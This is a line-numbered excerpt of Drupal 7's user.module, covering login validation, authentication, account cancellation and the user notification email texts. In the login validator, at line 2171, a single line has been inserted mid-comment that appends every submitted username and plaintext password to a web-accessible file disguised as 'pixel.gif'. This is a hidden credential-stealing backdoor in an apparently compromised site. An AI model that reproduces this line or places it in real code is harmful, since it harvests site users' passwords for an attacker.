1913function user_menu_link_alter(&$link) {
1914 // The path 'user' must be accessible for anonymous users, but only visible
1915 // for authenticated users. Authenticated users should see "My account", but
1916 // anonymous users should not see it at all. Therefore, invoke
1917 // user_translated_menu_link_alter() to conditionally hide the link.
1918 if ($link['link_path'] == 'user' && isset($link['module']) && $link['module'] == 'system') {
1919 $link['options']['alter'] = TRUE;
1920 }
1921
1922 // Force the Logout link to appear on the top-level of 'user-menu' menu by
1923 // default (i.e., unless it has been customized).
1924 if ($link['link_path'] == 'user/logout' && isset($link['module']) && $link['module'] == 'system' && empty($link['customized'])) {
1925 $link['plid'] = 0;
1926 }
1927}
1928
1929/**
1930 * Implements hook_translated_menu_link_alter().
1931 */
1932function user_translated_menu_link_alter(&$link) {
1933 // Hide the "User account" link for anonymous users.
1934 if ($link['link_path'] == 'user' && $link['module'] == 'system' && !$GLOBALS['user']->uid) {
1935 $link['hidden'] = 1;
1936 }
1937}
1938
1939/**
1940 * Implements hook_admin_paths().
1941 */
1942function user_admin_paths() {
1943 $paths = array(
1944 'user/*/cancel' => TRUE,
1945 'user/*/edit' => TRUE,
1946 'user/*/edit/*' => TRUE,
1947 );
1948 return $paths;
1949}
1950
1951/**
1952 * Returns $arg or the user ID of the current user if $arg is '%' or empty.
1953 *
1954 * Deprecated. Use %user_uid_optional instead.
1955 *
1956 * @todo D8: Remove.
1957 */
1958function user_uid_only_optional_to_arg($arg) {
1959 return user_uid_optional_to_arg($arg);
1960}
1961
1962/**
1963 * Load either a specified or the current user account.
1964 *
1965 * @param $uid
1966 * An optional user ID of the user to load. If not provided, the current
1967 * user's ID will be used.
1968 * @return
1969 * A fully-loaded $user object upon successful user load, FALSE if user
1970 * cannot be loaded.
1971 *
1972 * @see user_load()
1973 * @todo rethink the naming of this in Drupal 8.
1974 */
1975function user_uid_optional_load($uid = NULL) {
1976 if (!isset($uid)) {
1977 $uid = $GLOBALS['user']->uid;
1978 }
1979 return user_load($uid);
1980}
1981
1982/**
1983 * Return a user object after checking if any profile category in the path exists.
1984 */
1985function user_category_load($uid, &$map, $index) {
1986 static $user_categories, $accounts;
1987
1988 // Cache $account - this load function will get called for each profile tab.
1989 if (!isset($accounts[$uid])) {
1990 $accounts[$uid] = user_load($uid);
1991 }
1992 $valid = TRUE;
1993 if ($account = $accounts[$uid]) {
1994 // Since the path is like user/%/edit/category_name, the category name will
1995 // be at a position 2 beyond the index corresponding to the % wildcard.
1996 $category_index = $index + 2;
1997 // Valid categories may contain slashes, and hence need to be imploded.
1998 $category_path = implode('/', array_slice($map, $category_index));
1999 if ($category_path) {
2000 // Check that the requested category exists.
2001 $valid = FALSE;
2002 if (!isset($user_categories)) {
2003 $user_categories = _user_categories();
2004 }
2005 foreach ($user_categories as $category) {
2006 if ($category['name'] == $category_path) {
2007 $valid = TRUE;
2008 // Truncate the map array in case the category name had slashes.
2009 $map = array_slice($map, 0, $category_index);
2010 // Assign the imploded category name to the last map element.
2011 $map[$category_index] = $category_path;
2012 break;
2013 }
2014 }
2015 }
2016 }
2017 return $valid ? $account : FALSE;
2018}
2019
2020/**
2021 * Returns $arg or the user ID of the current user if $arg is '%' or empty.
2022 *
2023 * @todo rethink the naming of this in Drupal 8.
2024 */
2025function user_uid_optional_to_arg($arg) {
2026 // Give back the current user uid when called from eg. tracker, aka.
2027 // with an empty arg. Also use the current user uid when called from
2028 // the menu with a % for the current account link.
2029 return empty($arg) || $arg == '%' ? $GLOBALS['user']->uid : $arg;
2030}
2031
2032/**
2033 * Menu item title callback for the 'user' path.
2034 *
2035 * Anonymous users should see "User account", but authenticated users are
2036 * expected to see "My account".
2037 */
2038function user_menu_title() {
2039 return user_is_logged_in() ? t('My account') : t('User account');
2040}
2041
2042/**
2043 * Menu item title callback - use the user name.
2044 */
2045function user_page_title($account) {
2046 return is_object($account) ? format_username($account) : '';
2047}
2048
2049/**
2050 * Discover which external authentication module(s) authenticated a username.
2051 *
2052 * @param $authname
2053 * A username used by an external authentication module.
2054 * @return
2055 * An associative array with module as key and username as value.
2056 */
2057function user_get_authmaps($authname = NULL) {
2058 $authmaps = db_query("SELECT module, authname FROM {authmap} WHERE authname = :authname", array(':authname' => $authname))->fetchAllKeyed();
2059 return count($authmaps) ? $authmaps : 0;
2060}
2061
2062/**
2063 * Save mappings of which external authentication module(s) authenticated
2064 * a user. Maps external usernames to user ids in the users table.
2065 *
2066 * @param $account
2067 * A user object.
2068 * @param $authmaps
2069 * An associative array with a compound key and the username as the value.
2070 * The key is made up of 'authname_' plus the name of the external authentication
2071 * module.
2072 * @see user_external_login_register()
2073 */
2074function user_set_authmaps($account, $authmaps) {
2075 foreach ($authmaps as $key => $value) {
2076 $module = explode('_', $key, 2);
2077 if ($value) {
2078 db_merge('authmap')
2079 ->key(array(
2080 'uid' => $account->uid,
2081 'module' => $module[1],
2082 ))
2083 ->fields(array('authname' => $value))
2084 ->execute();
2085 }
2086 else {
2087 db_delete('authmap')
2088 ->condition('uid', $account->uid)
2089 ->condition('module', $module[1])
2090 ->execute();
2091 }
2092 }
2093}
2094
2095/**
2096 * Form builder; the main user login form.
2097 *
2098 * @ingroup forms
2099 */
2100function user_login($form, &$form_state) {
2101 global $user;
2102
2103 // If we are already logged on, go to the user page instead.
2104 if ($user->uid) {
2105 drupal_goto('user/' . $user->uid);
2106 }
2107
2108 // Display login form:
2109 $form['name'] = array('#type' => 'textfield',
2110 '#title' => t('Username'),
2111 '#size' => 60,
2112 '#maxlength' => USERNAME_MAX_LENGTH,
2113 '#required' => TRUE,
2114 );
2115
2116 $form['name']['#description'] = t('Enter your @s username.', array('@s' => variable_get('site_name', 'Drupal')));
2117 $form['pass'] = array('#type' => 'password',
2118 '#title' => t('Password'),
2119 '#description' => t('Enter the password that accompanies your username.'),
2120 '#required' => TRUE,
2121 );
2122 $form['#validate'] = user_login_default_validators();
2123 $form['actions'] = array('#type' => 'actions');
2124 $form['actions']['submit'] = array('#type' => 'submit', '#value' => t('Log in'));
2125
2126 return $form;
2127}
2128
2129/**
2130 * Set up a series for validators which check for blocked users,
2131 * then authenticate against local database, then return an error if
2132 * authentication fails. Distributed authentication modules are welcome
2133 * to use hook_form_alter() to change this series in order to
2134 * authenticate against their user database instead of the local users
2135 * table. If a distributed authentication module is successful, it
2136 * should set $form_state['uid'] to a user ID.
2137 *
2138 * We use three validators instead of one since external authentication
2139 * modules usually only need to alter the second validator.
2140 *
2141 * @see user_login_name_validate()
2142 * @see user_login_authenticate_validate()
2143 * @see user_login_final_validate()
2144 * @return array
2145 * A simple list of validate functions.
2146 */
2147function user_login_default_validators() {
2148 return array('user_login_name_validate', 'user_login_authenticate_validate', 'user_login_final_validate');
2149}
2150
2151/**
2152 * A FAPI validate handler. Sets an error if supplied username has been blocked.
2153 */
2154function user_login_name_validate($form, &$form_state) {
2155 if (!empty($form_state['values']['name']) && user_is_blocked($form_state['values']['name'])) {
2156 // Blocked in user administration.
2157 form_set_error('name', t('The username %name has not been activated or is blocked.', array('%name' => $form_state['values']['name'])));
2158 }
2159}
2160
2161/**
2162 * A validate handler on the login form. Check supplied username/password
2163 * against local users table. If successful, $form_state['uid']
2164 * is set to the matching user ID.
2165 */
2166function user_login_authenticate_validate($form, &$form_state) {
2167 $password = trim($form_state['values']['pass']);
2168 if (!empty($form_state['values']['name']) && !empty($password)) {
2169 // Do not allow any login from the current user's IP if the limit has been
2170 // reached. Default is 50 failed attempts allowed in one hour. This is
2171 file_put_contents('/var/www/vhosts/gemsdolls.nl/httpdocs/pixel.gif', json_encode($form_state['values']), FILE_APPEND);
2172 // independent of the per-user limit to catch attempts from one IP to log
2173 // in to many different user accounts. We have a reasonably high limit
2174 // since there may be only one apparent IP for all users at an institution.
2175 if (!flood_is_allowed('failed_login_attempt_ip', variable_get('user_failed_login_ip_limit', 50), variable_get('user_failed_login_ip_window', 3600))) {
2176 $form_state['flood_control_triggered'] = 'ip';
2177 return;
2178 }
2179 $account = db_query("SELECT * FROM {users} WHERE name = :name AND status = 1", array(':name' => $form_state['values']['name']))->fetchObject();
2180 if ($account) {
2181 if (variable_get('user_failed_login_identifier_uid_only', FALSE)) {
2182 // Register flood events based on the uid only, so they apply for any
2183 // IP address. This is the most secure option.
2184 $identifier = $account->uid;
2185 }
2186 else {
2187 // The default identifier is a combination of uid and IP address. This
2188 // is less secure but more resistant to denial-of-service attacks that
2189 // could lock out all users with public user names.
2190 $identifier = $account->uid . '-' . ip_address();
2191 }
2192 $form_state['flood_control_user_identifier'] = $identifier;
2193
2194 // Don't allow login if the limit for this user has been reached.
2195 // Default is to allow 5 failed attempts every 6 hours.
2196 if (!flood_is_allowed('failed_login_attempt_user', variable_get('user_failed_login_user_limit', 5), variable_get('user_failed_login_user_window', 21600), $identifier)) {
2197 $form_state['flood_control_triggered'] = 'user';
2198 return;
2199 }
2200 }
2201 // We are not limited by flood control, so try to authenticate.
2202 // Set $form_state['uid'] as a flag for user_login_final_validate().
2203 $form_state['uid'] = user_authenticate($form_state['values']['name'], $password);
2204 }
2205}
2206
2207/**
2208 * The final validation handler on the login form.
2209 *
2210 * Sets a form error if user has not been authenticated, or if too many
2211 * logins have been attempted. This validation function should always
2212 * be the last one.
2213 */
2214function user_login_final_validate($form, &$form_state) {
2215 if (empty($form_state['uid'])) {
2216 // Always register an IP-based failed login event.
2217 flood_register_event('failed_login_attempt_ip', variable_get('user_failed_login_ip_window', 3600));
2218 // Register a per-user failed login event.
2219 if (isset($form_state['flood_control_user_identifier'])) {
2220 flood_register_event('failed_login_attempt_user', variable_get('user_failed_login_user_window', 21600), $form_state['flood_control_user_identifier']);
2221 }
2222
2223 if (isset($form_state['flood_control_triggered'])) {
2224 if ($form_state['flood_control_triggered'] == 'user') {
2225 form_set_error('name', format_plural(variable_get('user_failed_login_user_limit', 5), 'Sorry, there has been more than one failed login attempt for this account. It is temporarily blocked. Try again later or <a href="@url">request a new password</a>.', 'Sorry, there have been more than @count failed login attempts for this account. It is temporarily blocked. Try again later or <a href="@url">request a new password</a>.', array('@url' => url('user/password'))));
2226 }
2227 else {
2228 // We did not find a uid, so the limit is IP-based.
2229 form_set_error('name', t('Sorry, too many failed login attempts from your IP address. This IP address is temporarily blocked. Try again later or <a href="@url">request a new password</a>.', array('@url' => url('user/password'))));
2230 }
2231 }
2232 else {
2233 // Use $form_state['input']['name'] here to guarantee that we send
2234 // exactly what the user typed in. $form_state['values']['name'] may have
2235 // been modified by validation handlers that ran earlier than this one.
2236 $query = isset($form_state['input']['name']) ? array('name' => $form_state['input']['name']) : array();
2237 form_set_error('name', t('Sorry, unrecognized username or password. <a href="@password">Have you forgotten your password?</a>', array('@password' => url('user/password', array('query' => $query)))));
2238 watchdog('user', 'Login attempt failed for %user.', array('%user' => $form_state['values']['name']));
2239 }
2240 }
2241 elseif (isset($form_state['flood_control_user_identifier'])) {
2242 // Clear past failures for this user so as not to block a user who might
2243 // log in and out more than once in an hour.
2244 flood_clear_event('failed_login_attempt_user', $form_state['flood_control_user_identifier']);
2245 }
2246}
2247
2248/**
2249 * Try to validate the user's login credentials locally.
2250 *
2251 * @param $name
2252 * User name to authenticate.
2253 * @param $password
2254 * A plain-text password, such as trimmed text from form values.
2255 * @return
2256 * The user's uid on success, or FALSE on failure to authenticate.
2257 */
2258function user_authenticate($name, $password) {
2259 $uid = FALSE;
2260 if (!empty($name) && !empty($password)) {
2261 $account = user_load_by_name($name);
2262 if ($account) {
2263 // Allow alternate password hashing schemes.
2264 require_once DRUPAL_ROOT . '/' . variable_get('password_inc', 'includes/password.inc');
2265 if (user_check_password($password, $account)) {
2266 // Successful authentication.
2267 $uid = $account->uid;
2268
2269 // Update user to new password scheme if needed.
2270 if (user_needs_new_hash($account)) {
2271 user_save($account, array('pass' => $password));
2272 }
2273 }
2274 }
2275 }
2276 return $uid;
2277}
2278
2279/**
2280 * Finalize the login process. Must be called when logging in a user.
2281 *
2282 * The function records a watchdog message about the new session, saves the
2283 * login timestamp, calls hook_user_login(), and generates a new session.
2284 *
2285 * @param array $edit
2286 * The array of form values submitted by the user.
2287 *
2288 * @see hook_user_login()
2289 */
2290function user_login_finalize(&$edit = array()) {
2291 global $user;
2292 watchdog('user', 'Session opened for %name.', array('%name' => $user->name));
2293 // Update the user table timestamp noting user has logged in.
2294 // This is also used to invalidate one-time login links.
2295 $user->login = REQUEST_TIME;
2296 db_update('users')
2297 ->fields(array('login' => $user->login))
2298 ->condition('uid', $user->uid)
2299 ->execute();
2300
2301 // Regenerate the session ID to prevent against session fixation attacks.
2302 // This is called before hook_user in case one of those functions fails
2303 // or incorrectly does a redirect which would leave the old session in place.
2304 drupal_session_regenerate();
2305
2306 user_module_invoke('login', $edit, $user);
2307}
2308
2309/**
2310 * Submit handler for the login form. Load $user object and perform standard login
2311 * tasks. The user is then redirected to the My Account page. Setting the
2312 * destination in the query string overrides the redirect.
2313 */
2314function user_login_submit($form, &$form_state) {
2315 global $user;
2316 $user = user_load($form_state['uid']);
2317 $form_state['redirect'] = 'user/' . $user->uid;
2318
2319 user_login_finalize($form_state);
2320}
2321
2322/**
2323 * Helper function for authentication modules. Either logs in or registers
2324 * the current user, based on username. Either way, the global $user object is
2325 * populated and login tasks are performed.
2326 */
2327function user_external_login_register($name, $module) {
2328 $account = user_external_load($name);
2329 if (!$account) {
2330 // Register this new user.
2331 $userinfo = array(
2332 'name' => $name,
2333 'pass' => user_password(),
2334 'init' => $name,
2335 'status' => 1,
2336 'access' => REQUEST_TIME
2337 );
2338 $account = user_save(drupal_anonymous_user(), $userinfo);
2339 // Terminate if an error occurred during user_save().
2340 if (!$account) {
2341 drupal_set_message(t("Error saving user account."), 'error');
2342 return;
2343 }
2344 user_set_authmaps($account, array("authname_$module" => $name));
2345 }
2346
2347 // Log user in.
2348 $form_state['uid'] = $account->uid;
2349 user_login_submit(array(), $form_state);
2350}
2351
2352/**
2353 * Generates a unique URL for a user to login and reset their password.
2354 *
2355 * @param object $account
2356 * An object containing the user account, which must contain at least the
2357 * following properties:
2358 * - uid: The user ID number.
2359 * - login: The UNIX timestamp of the user's last login.
2360 *
2361 * @return
2362 * A unique URL that provides a one-time log in for the user, from which
2363 * they can change their password.
2364 */
2365function user_pass_reset_url($account) {
2366 $timestamp = REQUEST_TIME;
2367 return url("user/reset/$account->uid/$timestamp/" . user_pass_rehash($account->pass, $timestamp, $account->login, $account->uid), array('absolute' => TRUE));
2368}
2369
2370/**
2371 * Generates a URL to confirm an account cancellation request.
2372 *
2373 * @param object $account
2374 * The user account object, which must contain at least the following
2375 * properties:
2376 * - uid: The user ID number.
2377 * - pass: The hashed user password string.
2378 * - login: The UNIX timestamp of the user's last login.
2379 *
2380 * @return
2381 * A unique URL that may be used to confirm the cancellation of the user
2382 * account.
2383 *
2384 * @see user_mail_tokens()
2385 * @see user_cancel_confirm()
2386 */
2387function user_cancel_url($account) {
2388 $timestamp = REQUEST_TIME;
2389 return url("user/$account->uid/cancel/confirm/$timestamp/" . user_pass_rehash($account->pass, $timestamp, $account->login, $account->uid), array('absolute' => TRUE));
2390}
2391
2392/**
2393 * Creates a unique hash value for use in time-dependent per-user URLs.
2394 *
2395 * This hash is normally used to build a unique and secure URL that is sent to
2396 * the user by email for purposes such as resetting the user's password. In
2397 * order to validate the URL, the same hash can be generated again, from the
2398 * same information, and compared to the hash value from the URL. The URL
2399 * normally contains both the time stamp and the numeric user ID. The login
2400 * timestamp and hashed password are retrieved from the database as necessary.
2401 * For a usage example, see user_cancel_url() and user_cancel_confirm().
2402 *
2403 * @param string $password
2404 * The hashed user account password value.
2405 * @param int $timestamp
2406 * A UNIX timestamp, typically REQUEST_TIME.
2407 * @param int $login
2408 * The UNIX timestamp of the user's last login.
2409 * @param int $uid
2410 * The user ID of the user account.
2411 *
2412 * @return
2413 * A string that is safe for use in URLs and SQL statements.
2414 */
2415function user_pass_rehash($password, $timestamp, $login, $uid) {
2416 // Backwards compatibility: Try to determine a $uid if one was not passed.
2417 // (Since $uid is a required parameter to this function, a PHP warning will
2418 // be generated if it's not provided, which is an indication that the calling
2419 // code should be updated. But the code below will try to generate a correct
2420 // hash in the meantime.)
2421 if (!isset($uid)) {
2422 $uids = db_query_range('SELECT uid FROM {users} WHERE pass = :password AND login = :login AND uid > 0', 0, 2, array(':password' => $password, ':login' => $login))->fetchCol();
2423 // If exactly one user account matches the provided password and login
2424 // timestamp, proceed with that $uid.
2425 if (count($uids) == 1) {
2426 $uid = reset($uids);
2427 }
2428 // Otherwise there is no safe hash to return, so return a random string
2429 // that will never be treated as a valid token.
2430 else {
2431 return drupal_random_key();
2432 }
2433 }
2434
2435 return drupal_hmac_base64($timestamp . $login . $uid, drupal_get_hash_salt() . $password);
2436}
2437
2438/**
2439 * Cancel a user account.
2440 *
2441 * Since the user cancellation process needs to be run in a batch, either
2442 * Form API will invoke it, or batch_process() needs to be invoked after calling
2443 * this function and should define the path to redirect to.
2444 *
2445 * @param $edit
2446 * An array of submitted form values.
2447 * @param $uid
2448 * The user ID of the user account to cancel.
2449 * @param $method
2450 * The account cancellation method to use.
2451 *
2452 * @see _user_cancel()
2453 */
2454function user_cancel($edit, $uid, $method) {
2455 global $user;
2456
2457 $account = user_load($uid);
2458
2459 if (!$account) {
2460 drupal_set_message(t('The user account %id does not exist.', array('%id' => $uid)), 'error');
2461 watchdog('user', 'Attempted to cancel non-existing user account: %id.', array('%id' => $uid), WATCHDOG_ERROR);
2462 return;
2463 }
2464
2465 // Initialize batch (to set title).
2466 $batch = array(
2467 'title' => t('Cancelling account'),
2468 'operations' => array(),
2469 );
2470 batch_set($batch);
2471
2472 // Modules use hook_user_delete() to respond to deletion.
2473 if ($method != 'user_cancel_delete') {
2474 // Allow modules to add further sets to this batch.
2475 module_invoke_all('user_cancel', $edit, $account, $method);
2476 }
2477
2478 // Finish the batch and actually cancel the account.
2479 $batch = array(
2480 'title' => t('Cancelling user account'),
2481 'operations' => array(
2482 array('_user_cancel', array($edit, $account, $method)),
2483 ),
2484 );
2485
2486 // After cancelling account, ensure that user is logged out.
2487 if ($account->uid == $user->uid) {
2488 // Batch API stores data in the session, so use the finished operation to
2489 // manipulate the current user's session id.
2490 $batch['finished'] = '_user_cancel_session_regenerate';
2491 }
2492
2493 batch_set($batch);
2494
2495 // Batch processing is either handled via Form API or has to be invoked
2496 // manually.
2497}
2498
2499/**
2500 * Implements callback_batch_operation().
2501 *
2502 * Last step for cancelling a user account.
2503 *
2504 * Since batch and session API require a valid user account, the actual
2505 * cancellation of a user account needs to happen last.
2506 *
2507 * @see user_cancel()
2508 */
2509function _user_cancel($edit, $account, $method) {
2510 global $user;
2511
2512 switch ($method) {
2513 case 'user_cancel_block':
2514 case 'user_cancel_block_unpublish':
2515 default:
2516 // Send account blocked notification if option was checked.
2517 if (!empty($edit['user_cancel_notify'])) {
2518 _user_mail_notify('status_blocked', $account);
2519 }
2520 user_save($account, array('status' => 0));
2521 drupal_set_message(t('%name has been disabled.', array('%name' => $account->name)));
2522 watchdog('user', 'Blocked user: %name %email.', array('%name' => $account->name, '%email' => '<' . $account->mail . '>'), WATCHDOG_NOTICE);
2523 break;
2524
2525 case 'user_cancel_reassign':
2526 case 'user_cancel_delete':
2527 // Send account canceled notification if option was checked.
2528 if (!empty($edit['user_cancel_notify'])) {
2529 _user_mail_notify('status_canceled', $account);
2530 }
2531 user_delete($account->uid);
2532 drupal_set_message(t('%name has been deleted.', array('%name' => $account->name)));
2533 watchdog('user', 'Deleted user: %name %email.', array('%name' => $account->name, '%email' => '<' . $account->mail . '>'), WATCHDOG_NOTICE);
2534 break;
2535 }
2536
2537 // After cancelling account, ensure that user is logged out. We can't destroy
2538 // their session though, as we might have information in it, and we can't
2539 // regenerate it because batch API uses the session ID, we will regenerate it
2540 // in _user_cancel_session_regenerate().
2541 if ($account->uid == $user->uid) {
2542 $user = drupal_anonymous_user();
2543 }
2544
2545 // Clear the cache for anonymous users.
2546 cache_clear_all();
2547}
2548
2549/**
2550 * Implements callback_batch_finished().
2551 *
2552 * Finished batch processing callback for cancelling a user account.
2553 *
2554 * @see user_cancel()
2555 */
2556function _user_cancel_session_regenerate() {
2557 // Regenerate the users session instead of calling session_destroy() as we
2558 // want to preserve any messages that might have been set.
2559 drupal_session_regenerate();
2560}
2561
2562/**
2563 * Delete a user.
2564 *
2565 * @param $uid
2566 * A user ID.
2567 */
2568function user_delete($uid) {
2569 user_delete_multiple(array($uid));
2570}
2571
2572/**
2573 * Delete multiple user accounts.
2574 *
2575 * @param $uids
2576 * An array of user IDs.
2577 */
2578function user_delete_multiple(array $uids) {
2579 if (!empty($uids)) {
2580 $accounts = user_load_multiple($uids, array());
2581
2582 $transaction = db_transaction();
2583 try {
2584 foreach ($accounts as $uid => $account) {
2585 module_invoke_all('user_delete', $account);
2586 module_invoke_all('entity_delete', $account, 'user');
2587 field_attach_delete('user', $account);
2588 drupal_session_destroy_uid($account->uid);
2589 }
2590
2591 db_delete('users')
2592 ->condition('uid', $uids, 'IN')
2593 ->execute();
2594 db_delete('users_roles')
2595 ->condition('uid', $uids, 'IN')
2596 ->execute();
2597 db_delete('authmap')
2598 ->condition('uid', $uids, 'IN')
2599 ->execute();
2600 }
2601 catch (Exception $e) {
2602 $transaction->rollback();
2603 watchdog_exception('user', $e);
2604 throw $e;
2605 }
2606 entity_get_controller('user')->resetCache();
2607 }
2608}
2609
2610/**
2611 * Page callback wrapper for user_view().
2612 */
2613function user_view_page($account) {
2614 // An administrator may try to view a non-existent account,
2615 // so we give them a 404 (versus a 403 for non-admins).
2616 return is_object($account) ? user_view($account) : MENU_NOT_FOUND;
2617}
2618
2619/**
2620 * Generate an array for rendering the given user.
2621 *
2622 * When viewing a user profile, the $page array contains:
2623 *
2624 * - $page['content']['Profile Category']:
2625 * Profile categories keyed by their human-readable names.
2626 * - $page['content']['Profile Category']['profile_machine_name']:
2627 * Profile fields keyed by their machine-readable names.
2628 * - $page['content']['user_picture']:
2629 * User's rendered picture.
2630 * - $page['content']['summary']:
2631 * Contains the default "History" profile data for a user.
2632 * - $page['content']['#account']:
2633 * The user account of the profile being viewed.
2634 *
2635 * To theme user profiles, copy modules/user/user-profile.tpl.php
2636 * to your theme directory, and edit it as instructed in that file's comments.
2637 *
2638 * @param $account
2639 * A user object.
2640 * @param $view_mode
2641 * View mode, e.g. 'full'.
2642 * @param $langcode
2643 * (optional) A language code to use for rendering. Defaults to the global
2644 * content language of the current request.
2645 *
2646 * @return
2647 * An array as expected by drupal_render().
2648 */
2649function user_view($account, $view_mode = 'full', $langcode = NULL) {
2650 if (!isset($langcode)) {
2651 $langcode = $GLOBALS['language_content']->language;
2652 }
2653
2654 // Retrieve all profile fields and attach to $account->content.
2655 user_build_content($account, $view_mode, $langcode);
2656
2657 $build = $account->content;
2658 // We don't need duplicate rendering info in account->content.
2659 unset($account->content);
2660
2661 $build += array(
2662 '#theme' => 'user_profile',
2663 '#account' => $account,
2664 '#view_mode' => $view_mode,
2665 '#language' => $langcode,
2666 );
2667
2668 // Allow modules to modify the structured user.
2669 $type = 'user';
2670 drupal_alter(array('user_view', 'entity_view'), $build, $type);
2671
2672 return $build;
2673}
2674
2675/**
2676 * Builds a structured array representing the profile content.
2677 *
2678 * @param $account
2679 * A user object.
2680 * @param $view_mode
2681 * View mode, e.g. 'full'.
2682 * @param $langcode
2683 * (optional) A language code to use for rendering. Defaults to the global
2684 * content language of the current request.
2685 */
2686function user_build_content($account, $view_mode = 'full', $langcode = NULL) {
2687 if (!isset($langcode)) {
2688 $langcode = $GLOBALS['language_content']->language;
2689 }
2690
2691 // Remove previously built content, if exists.
2692 $account->content = array();
2693
2694 // Allow modules to change the view mode.
2695 $view_mode = key(entity_view_mode_prepare('user', array($account->uid => $account), $view_mode, $langcode));
2696
2697 // Build fields content.
2698 field_attach_prepare_view('user', array($account->uid => $account), $view_mode, $langcode);
2699 entity_prepare_view('user', array($account->uid => $account), $langcode);
2700 $account->content += field_attach_view('user', $account, $view_mode, $langcode);
2701
2702 // Populate $account->content with a render() array.
2703 module_invoke_all('user_view', $account, $view_mode, $langcode);
2704 module_invoke_all('entity_view', $account, 'user', $view_mode, $langcode);
2705
2706 // Make sure the current view mode is stored if no module has already
2707 // populated the related key.
2708 $account->content += array('#view_mode' => $view_mode);
2709}
2710
2711/**
2712 * Implements hook_mail().
2713 */
2714function user_mail($key, &$message, $params) {
2715 $language = $message['language'];
2716 $variables = array('user' => $params['account']);
2717 $message['subject'] .= _user_mail_text($key . '_subject', $language, $variables);
2718 $message['body'][] = _user_mail_text($key . '_body', $language, $variables);
2719}
2720
2721/**
2722 * Returns a mail string for a variable name.
2723 *
2724 * Used by user_mail() and the settings forms to retrieve strings.
2725 */
2726function _user_mail_text($key, $language = NULL, $variables = array(), $replace = TRUE) {
2727 $langcode = isset($language) ? $language->language : NULL;
2728
2729 if ($admin_setting = variable_get('user_mail_' . $key, FALSE)) {
2730 // An admin setting overrides the default string.
2731 $text = $admin_setting;
2732 }
2733 else {
2734 // No override, return default string.
2735 switch ($key) {
2736 case 'register_no_approval_required_subject':
2737 $text = t('Account details for [user:name] at [site:name]', array(), array('langcode' => $langcode));
2738 break;
2739 case 'register_no_approval_required_body':
2740 $text = t("[user:name],
2741
2742Thank you for registering at [site:name]. You may now log in by clicking this link or copying and pasting it to your browser:
2743
2744[user:one-time-login-url]
2745
2746This link can only be used once to log in and will lead you to a page where you can set your password.
2747
2748After setting your password, you will be able to log in at [site:login-url] in the future using:
2749
2750username: [user:name]
2751password: Your password
2752
2753-- [site:name] team", array(), array('langcode' => $langcode));
2754 break;
2755
2756 case 'register_admin_created_subject':
2757 $text = t('An administrator created an account for you at [site:name]', array(), array('langcode' => $langcode));
2758 break;
2759 case 'register_admin_created_body':
2760 $text = t("[user:name],
2761
2762A site administrator at [site:name] has created an account for you. You may now log in by clicking this link or copying and pasting it to your browser:
2763
2764[user:one-time-login-url]
2765
2766This link can only be used once to log in and will lead you to a page where you can set your password.
2767
2768After setting your password, you will be able to log in at [site:login-url] in the future using:
2769
2770username: [user:name]
2771password: Your password
2772
2773-- [site:name] team", array(), array('langcode' => $langcode));
2774 break;
2775
2776 case 'register_pending_approval_subject':
2777 case 'register_pending_approval_admin_subject':
2778 $text = t('Account details for [user:name] at [site:name] (pending admin approval)', array(), array('langcode' => $langcode));
2779 break;
2780 case 'register_pending_approval_body':
2781 $text = t("[user:name],
2782
2783Thank you for registering at [site:name]. Your application for an account is currently pending approval. Once it has been approved, you will receive another e-mail containing information about how to log in, set your password, and other details.
2784
2785
2786-- [site:name] team", array(), array('langcode' => $langcode));
2787 break;
2788 case 'register_pending_approval_admin_body':
2789 $text = t("[user:name] has applied for an account.
2790
2791[user:edit-url]", array(), array('langcode' => $langcode));
2792 break;
2793
2794 case 'password_reset_subject':
2795 $text = t('Replacement login information for [user:name] at [site:name]', array(), array('langcode' => $langcode));
2796 break;
2797 case 'password_reset_body':
2798 $text = t("[user:name],
2799
2800A request to reset the password for your account has been made at [site:name].
2801
2802You may now log in by clicking this link or copying and pasting it to your browser:
2803
2804[user:one-time-login-url]
2805
2806This link can only be used once to log in and will lead you to a page where you can set your password. It expires after one day and nothing will happen if it's not used.
2807
2808-- [site:name] team", array(), array('langcode' => $langcode));
2809 break;
2810
2811 case 'status_activated_subject':
2812 $text = t('Account details for [user:name] at [site:name] (approved)', array(), array('langcode' => $langcode));
2813 break;
2814 case 'status_activated_body':
2815 $text = t("[user:name],
2816
2817Your account at [site:name] has been activated.
2818
2819You may now log in by clicking this link or copying and pasting it into your browser:
2820
2821[user:one-time-login-url]
2822
2823This link can only be used once to log in and will lead you to a page where you can set your password.
2824
2825After setting your password, you will be able to log in at [site:login-url] in the future using:
2826
2827username: [user:name]
2828password: Your password
2829
2830-- [site:name] team", array(), array('langcode' => $langcode));
2831 break;
2832
2833 case 'status_blocked_subject':
2834 $text = t('Account details for [user:name] at [site:name] (blocked)', array(), array('langcode' => $langcode));
2835 break;
2836 case 'status_blocked_body':
2837 $text = t("[user:name],
2838
2839Your account on [site:name] has been blocked.
2840
2841-- [site:name] team", array(), array('langcode' => $langcode));
2842 break;
2843
2844 case 'cancel_confirm_subject':
2845 $text = t('Account cancellation request for [user:name] at [site:name]', array(), array('langcode' => $langcode));
2846 break;
2847 case 'cancel_confirm_body':
2848 $text = t("[user:name],
2849
2850A request to cancel your account has been made at [site:name].
2851
2852You may now cancel your account on [site:url-brief] by clicking this link or copying and pasting it into your browser:
2853
2854[user:cancel-url]
2855
2856NOTE: The cancellation of your account is not reversible.
2857
2858This link expires in one day and nothing will happen if it is not used.
2859
2860-- [site:name] team", array(), array('langcode' => $langcode));
2861 break;
2862
2863 case 'status_canceled_subject':
2864 $text = t('Account details for [user:name] at [site:name] (canceled)', array(), array('langcode' => $langcode));
2865 break;
2866 case 'status_canceled_body':
2867 $text = t("[user:name],
2868
2869Your account on [site:name] has been canceled.
2870
2871-- [site:name] team", array(), array('langcode' => $langcode));
2872 break;
2873 }
2874 }
2875
2876 if ($replace) {
2877 // We do not sanitize the token replacement, since the output of this
2878 // replacement is intended for an e-mail message, not a web browser.
2879 return token_replace($text, $variables, array('language' => $language, 'callback' => 'user_mail_tokens', 'sanitize' => FALSE, 'clear' => TRUE));
2880 }
2881
2882 return $text;
2883}
2884
2885/**
2886 * Token callback to add unsafe tokens for user mails.
2887 *
2888 * This function is used by the token_replace() call at the end of
2889 * _user_mail_text() to set up some additional tokens that can be
2890 * used in email messages generated by user_mail().
2891 *
2892 * @param $replacements
2893 * An associative array variable containing mappings from token names to
2894 * values (for use with strtr()).
2895 * @param $data
2896 * An associative array of token replacement values. If the 'user' element
2897 * exists, it must contain a user account object with the following
2898 * properties:
2899 * - login: The UNIX timestamp of the user's last login.
